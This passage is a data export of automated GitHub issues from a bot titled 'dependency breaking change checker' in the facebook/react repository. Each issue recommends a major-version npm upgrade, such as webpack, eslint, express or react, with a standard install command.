- **^6.5.1**

### Latest Version
- **7.1.2**

### Package Information
- **Description:** css loader module for webpack
- **Homepage:** https://github.com/webpack-contrib/css-loader

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install css-loader@7.1.2
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:50:45Z,2025-07-19T02:15:55Z,1
facebook/react,3241164477,Update concurrently from ^7.3.0 to 9.2.0,"## Breaking Change Warning
        
A major version update is available for **concurrently**.

### Current Version
- **^7.3.0**

### Latest Version
- **9.2.0**

### Package Information
- **Description:** Run commands concurrently
- **Homepage:** https://github.com/open-cli-tools/concurrently#readme

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install concurrently@9.2.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:50:44Z,2025-07-19T02:15:58Z,1
facebook/react,3241164435,Update camelcase from ^6.2.1 to 8.0.0,"## Breaking Change Warning
        
A major version update is available for **camelcase**.

### Current Version
- **^6.2.1**

### Latest Version
- **8.0.0**

### Package Information
- **Description:** Convert a dash/dot/underscore/space separated string to camelCase or PascalCase: `foo-bar` → `fooBar`
- **Homepage:** https://github.com/sindresorhus/camelcase#readme

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install camelcase@8.0.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:50:43Z,2025-07-19T02:16:00Z,1
facebook/react,3241164414,Update body-parser from ^1.20.1 to 2.2.0,"## Breaking Change Warning
        
A major version update is available for **body-parser**.

### Current Version
- **^1.20.1**

### Latest Version
- **2.2.0**

### Package Information
- **Description:** Node.js body parsing middleware
- **Homepage:** https://github.com/expressjs/body-parser#readme

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install body-parser@2.2.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:50:42Z,2025-07-19T02:16:02Z,1
facebook/react,3241164393,Update babel-loader from ^8.2.3 to 10.0.0,"## Breaking Change Warning
        
A major version update is available for **babel-loader**.

### Current Version
- **^8.2.3**

### Latest Version
- **10.0.0**

### Package Information
- **Description:** babel module loader for webpack
- **Homepage:** https://github.com/babel/babel-loader

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install babel-loader@10.0.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:50:42Z,2025-07-19T02:16:05Z,1
facebook/react,3241164373,Update babel-jest from ^27.4.2 to 30.0.4,"## Breaking Change Warning
        
A major version update is available for **babel-jest**.

### Current Version
- **^27.4.2**

### Latest Version
- **30.0.4**

### Package Information
- **Description:** Jest plugin to use babel for transformation.

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install babel-jest@30.0.4
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:50:41Z,2025-07-19T02:16:07Z,1
facebook/react,3241164352,Update @testing-library/user-event from ^13.2.1 to 14.6.1,"## Breaking Change Warning
        
A major version update is available for **@testing-library/user-event**.

### Current Version
- **^13.2.1**

### Latest Version
- **14.6.1**

### Package Information
- **Description:** Fire events the same way the user does
- **Homepage:** https://github.com/testing-library/user-event#readme

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install @testing-library/user-event@14.6.1
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:50:41Z,2025-07-19T02:16:09Z,1
facebook/react,3241164322,Update @testing-library/react from ^13.0.0 to 16.3.0,"## Breaking Change Warning
        
A major version update is available for **@testing-library/react**.

### Current Version
- **^13.0.0**

### Latest Version
- **16.3.0**

### Package Information
- **Description:** Simple and complete React DOM testing utilities that encourage good testing practices.
- **Homepage:** https://github.com/testing-library/react-testing-library#readme

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install @testing-library/react@16.3.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:50:40Z,2025-07-19T02:16:11Z,1
facebook/react,3241164295,Update @testing-library/jest-dom from ^5.14.1 to 6.6.3,"## Breaking Change Warning
        
A major version update is available for **@testing-library/jest-dom**.

### Current Version
- **^5.14.1**

### Latest Version
- **6.6.3**

### Package Information
- **Description:** Custom jest matchers to test the state of the DOM
- **Homepage:** https://github.com/testing-library/jest-dom#readme

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install @testing-library/jest-dom@6.6.3
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:50:39Z,2025-07-19T02:16:13Z,1
facebook/react,3241164259,Update @svgr/webpack from ^5.5.0 to 8.1.0,"## Breaking Change Warning
        
A major version update is available for **@svgr/webpack**.

### Current Version
- **^5.5.0**

### Latest Version
- **8.1.0**

### Package Information
- **Description:** SVGR webpack loader.
- **Homepage:** https://react-svgr.com

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install @svgr/webpack@8.1.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:50:39Z,2025-07-19T02:16:15Z,1
facebook/react,3241164149,Update express from ^4.18.2 to 5.1.0,"## Breaking Change Warning
        
A major version update is available for **express**.

### Current Version
- **^4.18.2**

### Latest Version
- **5.1.0**

### Package Information
- **Description:** Fast, unopinionated, minimalist web framework
- **Homepage:** https://expressjs.com/

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install express@5.1.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:50:36Z,2025-07-19T02:16:18Z,1
facebook/react,3241164137,Update concurrently from ^7.3.0 to 9.2.0,"## Breaking Change Warning
        
A major version update is available for **concurrently**.

### Current Version
- **^7.3.0**

### Latest Version
- **9.2.0**

### Package Information
- **Description:** Run commands concurrently
- **Homepage:** https://github.com/open-cli-tools/concurrently#readme

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install concurrently@9.2.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:50:35Z,2025-07-19T02:16:20Z,1
facebook/react,3241164108,Update @types/node from ^22.10.1 to 24.0.14,"## Breaking Change Warning
        
A major version update is available for **@types/node**.

### Current Version
- **^22.10.1**

### Latest Version
- **24.0.14**

### Package Information
- **Description:** TypeScript definitions for node
- **Homepage:** https://github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/node

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install @types/node@24.0.14
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:50:35Z,2025-07-19T02:16:22Z,1
facebook/react,3241164041,Update undici from ^5.20.0 to 7.11.0,"## Breaking Change Warning
        
A major version update is available for **undici**.

### Current Version
- **^5.20.0**

### Latest Version
- **7.11.0**

### Package Information
- **Description:** An HTTP/1.1 client, written from scratch for Node.js
- **Homepage:** https://undici.nodejs.org

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install undici@7.11.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:50:33Z,2025-07-19T02:16:26Z,1
facebook/react,3241164015,Update nodemon from ^2.0.19 to 3.1.10,"## Breaking Change Warning
        
A major version update is available for **nodemon**.

### Current Version
- **^2.0.19**

### Latest Version
- **3.1.10**

### Package Information
- **Description:** Simple monitor script for use during development of a Node.js app.
- **Homepage:** https://nodemon.io

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install nodemon@3.1.10
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:50:32Z,2025-07-19T02:16:28Z,1
facebook/react,3241163996,Update concurrently from ^7.3.0 to 9.2.0,"## Breaking Change Warning
        
A major version update is available for **concurrently**.

### Current Version
- **^7.3.0**

### Latest Version
- **9.2.0**

### Package Information
- **Description:** Run commands concurrently
- **Homepage:** https://github.com/open-cli-tools/concurrently#readme

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install concurrently@9.2.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:50:31Z,2025-07-19T02:16:31Z,1
facebook/react,3241163963,Update body-parser from ^1.20.1 to 2.2.0,"## Breaking Change Warning
        
A major version update is available for **body-parser**.

### Current Version
- **^1.20.1**

### Latest Version
- **2.2.0**

### Package Information
- **Description:** Node.js body parsing middleware
- **Homepage:** https://github.com/expressjs/body-parser#readme

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install body-parser@2.2.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:50:31Z,2025-07-19T02:16:33Z,1
facebook/react,3241163921,Update prettier from 1.19.1 to 3.6.2,"## Breaking Change Warning
        
A major version update is available for **prettier**.

### Current Version
- **1.19.1**

### Latest Version
- **3.6.2**

### Package Information
- **Description:** Prettier is an opinionated code formatter
- **Homepage:** https://prettier.io

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install prettier@3.6.2
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:50:30Z,2025-07-19T02:16:36Z,1
facebook/react,3241163900,Update webpack-cli from ^4.2.0 to 6.0.1,"## Breaking Change Warning
        
A major version update is available for **webpack-cli**.

### Current Version
- **^4.2.0**

### Latest Version
- **6.0.1**

### Package Information
- **Description:** CLI for webpack & friends
- **Homepage:** https://github.com/webpack/webpack-cli/tree/master/packages/webpack-cli

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install webpack-cli@6.0.1
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:50:29Z,2025-07-19T02:16:38Z,1
facebook/react,3241163874,Update webpack from 4.44.2 to 5.100.2,"## Breaking Change Warning
        
A major version update is available for **webpack**.

### Current Version
- **4.44.2**

### Latest Version
- **5.100.2**

### Package Information
- **Description:** Packs ECMAScript/CommonJs/AMD modules for the browser. Allows you to split your codebase into multiple bundles, which can be loaded on demand. Supports loaders to preprocess files, i.e. json, jsx, es7, css, less, ... and your custom stuff.
- **Homepage:** https://github.com/webpack/webpack

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install webpack@5.100.2
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:50:28Z,2025-07-19T02:16:40Z,1
facebook/react,3241163853,Update rimraf from ^3.0.2 to 6.0.1,"## Breaking Change Warning
        
A major version update is available for **rimraf**.

### Current Version
- **^3.0.2**

### Latest Version
- **6.0.1**

### Package Information
- **Description:** A deep deletion module for node (like `rm -rf`)
- **Homepage:** https://github.com/isaacs/rimraf#readme

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install rimraf@6.0.1
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:50:28Z,2025-07-19T02:16:42Z,1
facebook/react,3241163823,Update react-error-boundary from ^3.1.3 to 6.0.0,"## Breaking Change Warning
        
A major version update is available for **react-error-boundary**.

### Current Version
- **^3.1.3**

### Latest Version
- **6.0.0**

### Package Information
- **Description:** Simple reusable React error boundary component
- **Homepage:** https://github.com/bvaughn/react-error-boundary#readme

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install react-error-boundary@6.0.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:50:27Z,2025-07-19T02:16:44Z,1
facebook/react,3241163787,Update nodemon from ^2.0.6 to 3.1.10,"## Breaking Change Warning
        
A major version update is available for **nodemon**.

### Current Version
- **^2.0.6**

### Latest Version
- **3.1.10**

### Package Information
- **Description:** Simple monitor script for use during development of a Node.js app.
- **Homepage:** https://nodemon.io

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install nodemon@3.1.10
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:50:27Z,2025-07-19T02:16:47Z,1
facebook/react,3241163764,Update express from ^4.17.1 to 5.1.0,"## Breaking Change Warning
        
A major version update is available for **express**.

### Current Version
- **^4.17.1**

### Latest Version
- **5.1.0**

### Package Information
- **Description:** Fast, unopinionated, minimalist web framework
- **Homepage:** https://expressjs.com/

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install express@5.1.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:50:26Z,2025-07-19T02:16:49Z,1
facebook/react,3241163742,Update concurrently from ^5.3.0 to 9.2.0,"## Breaking Change Warning
        
A major version update is available for **concurrently**.

### Current Version
- **^5.3.0**

### Latest Version
- **9.2.0**

### Package Information
- **Description:** Run commands concurrently
- **Homepage:** https://github.com/open-cli-tools/concurrently#readme

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install concurrently@9.2.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:50:26Z,2025-07-19T02:16:51Z,1
facebook/react,3241163718,Update babel-loader from 8.1.0 to 10.0.0,"## Breaking Change Warning
        
A major version update is available for **babel-loader**.

### Current Version
- **8.1.0**

### Latest Version
- **10.0.0**

### Package Information
- **Description:** babel module loader for webpack
- **Homepage:** https://github.com/babel/babel-loader

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install babel-loader@10.0.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:50:25Z,2025-07-19T02:16:53Z,1
facebook/react,3241163673,Update react-scripts from 0.9.5 to 5.0.1,"## Breaking Change Warning
        
A major version update is available for **react-scripts**.

### Current Version
- **0.9.5**

### Latest Version
- **5.0.1**

### Package Information
- **Description:** Configuration and scripts for Create React App.
- **Homepage:** https://github.com/facebook/create-react-app#readme

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install react-scripts@5.0.1
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:50:24Z,2025-07-19T02:16:55Z,1
facebook/react,3241163647,Update react-draggable from ^2.2.6 to 4.5.0,"## Breaking Change Warning
        
A major version update is available for **react-draggable**.

### Current Version
- **^2.2.6**

### Latest Version
- **4.5.0**

### Package Information
- **Description:** React draggable component
- **Homepage:** https://github.com/react-grid-layout/react-draggable

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install react-draggable@4.5.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:50:23Z,2025-07-19T02:16:57Z,1
facebook/react,3241163626,Update pretty-format from ^4.2.1 to 30.0.2,"## Breaking Change Warning
        
A major version update is available for **pretty-format**.

### Current Version
- **^4.2.1**

### Latest Version
- **30.0.2**

### Package Information
- **Description:** Stringify any JavaScript value.

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install pretty-format@30.0.2
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:50:23Z,2025-07-19T02:17:00Z,1
facebook/react,3241163594,Update react-scripts from 1.0.17 to 5.0.1,"## Breaking Change Warning
        
A major version update is available for **react-scripts**.

### Current Version
- **1.0.17**

### Latest Version
- **5.0.1**

### Package Information
- **Description:** Configuration and scripts for Create React App.
- **Homepage:** https://github.com/facebook/create-react-app#readme

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install react-scripts@5.0.1
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:50:22Z,2025-07-19T02:17:02Z,1
facebook/react,3241163569,Update react-dom from ^16.1.1 to 19.1.0,"## Breaking Change Warning
        
A major version update is available for **react-dom**.

### Current Version
- **^16.1.1**

### Latest Version
- **19.1.0**

### Package Information
- **Description:** React package for working with the DOM.
- **Homepage:** https://react.dev/

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install react-dom@19.1.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:50:21Z,2025-07-19T02:17:04Z,1
facebook/react,3241163549,Update react from ^16.1.1 to 19.1.0,"## Breaking Change Warning
        
A major version update is available for **react**.

### Current Version
- **^16.1.1**

### Latest Version
- **19.1.0**

### Package Information
- **Description:** React is a JavaScript library for building user interfaces.
- **Homepage:** https://react.dev/

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install react@19.1.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:50:21Z,2025-07-19T02:17:06Z,1
facebook/react,3241163500,Update eslint from ^8 to 9.31.0,"## Breaking Change Warning
        
A major version update is available for **eslint**.

### Current Version
- **^8**

### Latest Version
- **9.31.0**

### Package Information
- **Description:** An AST-based pattern checker for JavaScript.
- **Homepage:** https://eslint.org

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install eslint@9.31.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:50:19Z,2025-07-19T02:17:09Z,1
facebook/react,3241163472,Update eslint from ^7 to 9.31.0,"## Breaking Change Warning
        
A major version update is available for **eslint**.

### Current Version
- **^7**

### Latest Version
- **9.31.0**

### Package Information
- **Description:** An AST-based pattern checker for JavaScript.
- **Homepage:** https://eslint.org

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install eslint@9.31.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:50:19Z,2025-07-19T02:17:11Z,1
facebook/react,3241163439,Update eslint from ^6 to 9.31.0,"## Breaking Change Warning
        
A major version update is available for **eslint**.

### Current Version
- **^6**

### Latest Version
- **9.31.0**

### Package Information
- **Description:** An AST-based pattern checker for JavaScript.
- **Homepage:** https://eslint.org

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install eslint@9.31.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:50:18Z,2025-07-19T02:17:13Z,1
facebook/react,3241163388,Update react-scripts from ^1.0.11 to 5.0.1,"## Breaking Change Warning
        
A major version update is available for **react-scripts**.

### Current Version
- **^1.0.11**

### Latest Version
- **5.0.1**

### Package Information
- **Description:** Configuration and scripts for Create React App.
- **Homepage:** https://github.com/facebook/create-react-app#readme

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install react-scripts@5.0.1
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:50:17Z,2025-07-19T02:17:35Z,2
facebook/react,3241163374,Update semver from ^5.5.0 to 7.7.2,"## Breaking Change Warning
        
A major version update is available for **semver**.

### Current Version
- **^5.5.0**

### Latest Version
- **7.7.2**

### Package Information
- **Description:** The semantic version parser used by npm.
- **Homepage:** https://github.com/npm/node-semver#readme

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install semver@7.7.2
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:50:17Z,2025-07-19T02:17:37Z,1
facebook/react,3241163346,Update query-string from ^4.2.3 to 9.2.2,"## Breaking Change Warning
        
A major version update is available for **query-string**.

### Current Version
- **^4.2.3**

### Latest Version
- **9.2.2**

### Package Information
- **Description:** Parse and stringify URL query strings
- **Homepage:** https://github.com/sindresorhus/query-string#readme

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install query-string@9.2.2
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:50:16Z,2025-07-19T02:17:40Z,1
facebook/react,3241163317,Update jest-diff from ^29.4.1 to 30.0.4,"## Breaking Change Warning
        
A major version update is available for **jest-diff**.

### Current Version
- **^29.4.1**

### Latest Version
- **30.0.4**

### Package Information

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install jest-diff@30.0.4
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:50:15Z,2025-07-19T02:17:42Z,1
facebook/react,3241163298,Update core-js from ^2.4.1 to 3.44.0,"## Breaking Change Warning
        
A major version update is available for **core-js**.

### Current Version
- **^2.4.1**

### Latest Version
- **3.44.0**

### Package Information
- **Description:** Standard library
- **Homepage:** https://github.com/zloirock/core-js#readme

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install core-js@3.44.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:50:15Z,2025-07-19T02:17:44Z,1
facebook/react,3241163280,Update codemirror from ^5.40.0 to 6.0.2,"## Breaking Change Warning
        
A major version update is available for **codemirror**.

### Current Version
- **^5.40.0**

### Latest Version
- **6.0.2**

### Package Information
- **Description:** Basic configuration for the CodeMirror code editor
- **Homepage:** https://github.com/codemirror/basic-setup#readme

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install codemirror@6.0.2
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:50:14Z,2025-07-19T02:17:46Z,1
facebook/react,3241163221,Update victory from ^0.25.6 to 37.3.6,"## Breaking Change Warning
        
A major version update is available for **victory**.

### Current Version
- **^0.25.6**

### Latest Version
- **37.3.6**

### Package Information
- **Description:** Data viz for React
- **Homepage:** https://commerce.nearform.com/open-source/victory

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install victory@37.3.6
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:50:13Z,2025-07-19T02:17:48Z,1
facebook/react,3241163207,Update react-scripts from ^1.1.4 to 5.0.1,"## Breaking Change Warning
        
A major version update is available for **react-scripts**.

### Current Version
- **^1.1.4**

### Latest Version
- **5.0.1**

### Package Information
- **Description:** Configuration and scripts for Create React App.
- **Homepage:** https://github.com/facebook/create-react-app#readme

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install react-scripts@5.0.1
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:50:12Z,2025-07-19T02:17:50Z,1
facebook/react,3241163188,Update react-markdown from ^3.2.0 to 10.1.0,"## Breaking Change Warning
        
A major version update is available for **react-markdown**.

### Current Version
- **^3.2.0**

### Latest Version
- **10.1.0**

### Package Information
- **Description:** React component to render markdown
- **Homepage:** https://github.com/remarkjs/react-markdown#readme

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install react-markdown@10.1.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:50:12Z,2025-07-19T02:17:52Z,1
facebook/react,3241163166,Update react-dom from 0.0.0-experimental-269dd6ec5 to 19.1.0,"## Breaking Change Warning
        
A major version update is available for **react-dom**.

### Current Version
- **0.0.0-experimental-269dd6ec5**

### Latest Version
- **19.1.0**

### Package Information
- **Description:** React package for working with the DOM.
- **Homepage:** https://react.dev/

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install react-dom@19.1.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:50:11Z,2025-07-19T02:17:54Z,1
facebook/react,3241163153,Update react from 0.0.0-experimental-269dd6ec5 to 19.1.0,"## Breaking Change Warning
        
A major version update is available for **react**.

### Current Version
- **0.0.0-experimental-269dd6ec5**

### Latest Version
- **19.1.0**

### Package Information
- **Description:** React is a JavaScript library for building user interfaces.
- **Homepage:** https://react.dev/

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install react@19.1.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:50:10Z,2025-07-19T02:17:56Z,1
facebook/react,3241163116,Update react-scripts from 1.0.11 to 5.0.1,"## Breaking Change Warning
        
A major version update is available for **react-scripts**.

### Current Version
- **1.0.11**

### Latest Version
- **5.0.1**

### Package Information
- **Description:** Configuration and scripts for Create React App.
- **Homepage:** https://github.com/facebook/create-react-app#readme

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install react-scripts@5.0.1
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:50:09Z,2025-07-19T02:17:58Z,1
facebook/react,3241163085,Update react-dom from ^15.6.1 to 19.1.0,"## Breaking Change Warning
        
A major version update is available for **react-dom**.

### Current Version
- **^15.6.1**

### Latest Version
- **19.1.0**

### Package Information
- **Description:** React package for working with the DOM.
- **Homepage:** https://react.dev/

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install react-dom@19.1.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:50:09Z,2025-07-19T02:18:00Z,1
facebook/react,3241163071,Update react from ^15.6.1 to 19.1.0,"## Breaking Change Warning
        
A major version update is available for **react**.

### Current Version
- **^15.6.1**

### Latest Version
- **19.1.0**

### Package Information
- **Description:** React is a JavaScript library for building user interfaces.
- **Homepage:** https://react.dev/

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install react@19.1.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:50:08Z,2025-07-19T02:18:02Z,2
facebook/react,3241163038,Update file-saver from ^1.3.3 to 2.0.5,"## Breaking Change Warning
        
A major version update is available for **file-saver**.

